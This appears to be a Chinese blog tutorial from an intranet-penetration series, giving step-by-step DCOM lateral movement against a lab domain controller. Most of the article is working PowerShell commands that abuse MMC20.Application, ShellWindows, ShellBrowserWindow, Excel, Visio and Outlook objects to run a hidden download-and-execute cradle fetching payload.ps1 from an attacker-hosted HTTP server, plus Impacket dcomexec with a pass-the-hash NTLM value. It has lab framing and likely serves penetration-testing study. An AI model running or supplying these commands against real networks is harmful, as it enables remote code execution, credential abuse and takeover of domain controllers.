系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位
系列文章第三章节之Windows协议认证和密码抓取篇
内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式
内网渗透(二十二)之Windows协议认证和密码抓取-Silver Ticket白银票据制作原理及利用方式
内网渗透(二十三)之Windows协议认证和密码抓取-Mimikatz介绍和各种模块使用方法
内网渗透(二十四)之Windows协议认证和密码抓取-Mimikatz读取sam和lsass获取密码
内网渗透(二十五)之Windows协议认证和密码抓取-使用Hashcat和在线工具破解NTLM Hash
内网渗透(二十六)之Windows协议认证和密码抓取-浏览器、数据库等其他密码的抓取
内网渗透(二十七)之Windows协议认证和密码抓取-Windows其他类型抓取NTLM HASH工具
内网渗透(二十八)之Windows协议认证和密码抓取-Windows RDP凭证的抓取和密码破解
内网渗透(二十九)之Windows协议认证和密码抓取-Windows-2012R2之后抓取密码的方式和抓取密码的防范措施
系列文章第四章节之横向移动篇
内网渗透(三十)之横向移动篇-利用远控工具向日葵横向移动
内网渗透(三十一)之横向移动篇-利用远控工具todesk横向移动
内网渗透(三十二)之横向移动篇-利用远控工具GoToHTTP横向移动
内网渗透(三十三)之横向移动篇-利用远控工具RustDESK横向移动
内网渗透(三十四)之横向移动篇-IPC配合计划任务横向移动
内网渗透(三十五)之横向移动篇-IPC配合系统服务横向移动
内网渗透(三十六)之横向移动篇-Password Spraying密码喷洒攻击和域内用户枚举横向移动
内网渗透(三十七)之横向移动篇-Pass the Hash 哈希传递攻击(PTH)横向移动
内网渗透(三十八)之横向移动篇-pass the key 密钥传递攻击(PTK)横向攻击
内网渗透(三十九)之横向移动篇-pass the ticket 票据传递攻击(PTT)横向攻击
内网渗透(四十)之横向移动篇-ms14-068传递获取域管横向移动
内网渗透(四十一)之横向移动篇-PsExec工具远程命令执行横向移动
内网渗透(四十二)之横向移动篇-WMIC远程执行命令横向移动
内网渗透(四十三)之横向移动篇-SMB远程执行命令横向移动
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!
DCOM远程执行命令横向移动
DCOM介绍
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件
获取DCOM列表
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
DCOM横向条件
1、需要关闭系统防火墙
2、必须拥有管理员权限
3、在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
实验复现
实验环境
机器名 | IP |
---|---|
Windows server 2012(域控) | 192.168.41.10 |
Windows 10(域内主机) | 192.168.41.14 |
前期我们已经通过各种方法拿下了win10的权限,接下来就要利用DCOM远程执行命令横向移动上线域控
MMC20.Application远程执行命令
1、通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
2、然后执行如下命令,我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
3、使用cs生成powershell脚本
2、把payload.ps1复制放到公网的机器上,可以使用 python 开启http服务提供下载
python -m http.server 9988
3、将IP和命令换成上线的命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.41.10"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.105:9988/payload.ps1'))","Minimzed")
4、等待目标域控上线
ShellWindows远程执行命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe"," /c calc.exe","c:windowssystem32",$null,0) 打开本地计算器
将IP和命令换成上线的命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.41.10")).item().Document.Application.ShellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.105:9988/payload.ps1'))","c:windows system32",$null,0)
等待目标域控上线
ShellBrowserWindow远程执行命令
适用于Windows 10和Windows Server 2012 R2等版本的系统
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.41.10")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.105:9988/payload.ps1'))","c:windows system32",$null,0)
等待目标域控上线
调用Excel.Application远程执行命令
目标主机中安装有excle
1、 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.41.10"))
$com.DisplayAlerts = $false
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0.0.1"))
2、然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程
$com.DDEInitiate("cmd.exe","/c 参数")
Visio.Application远程执行命令
目标主机中安装有Visio
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.41.10")).[0].Document.Application.shellExecute("C:shell.exe")
Outlook.Application远程执行命令
目标主机中安装有Outlook
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.41.10")).createObject("Shell.Application").shellExecute("C:shell.exe")
Impacket 中的dcomexec.exe远程执行命令
dcomexec.exe [domain/]username:password@ip //创建一个交互式shell
dcomexec.exe [domain/]username:password@ip command // 执行命令
dcomexec.exe [domain/]username:@ip -hashes [hash] //hash传递
首先将我们的dcomexec.exe上传到我们的win10上
然后抓取域管理员的密码:
shell dcomexec.exe hack.com\administrator:@192.168.41.10 -hashes 32ed87bdb5fdc5e9cba88547376818d4
上线域控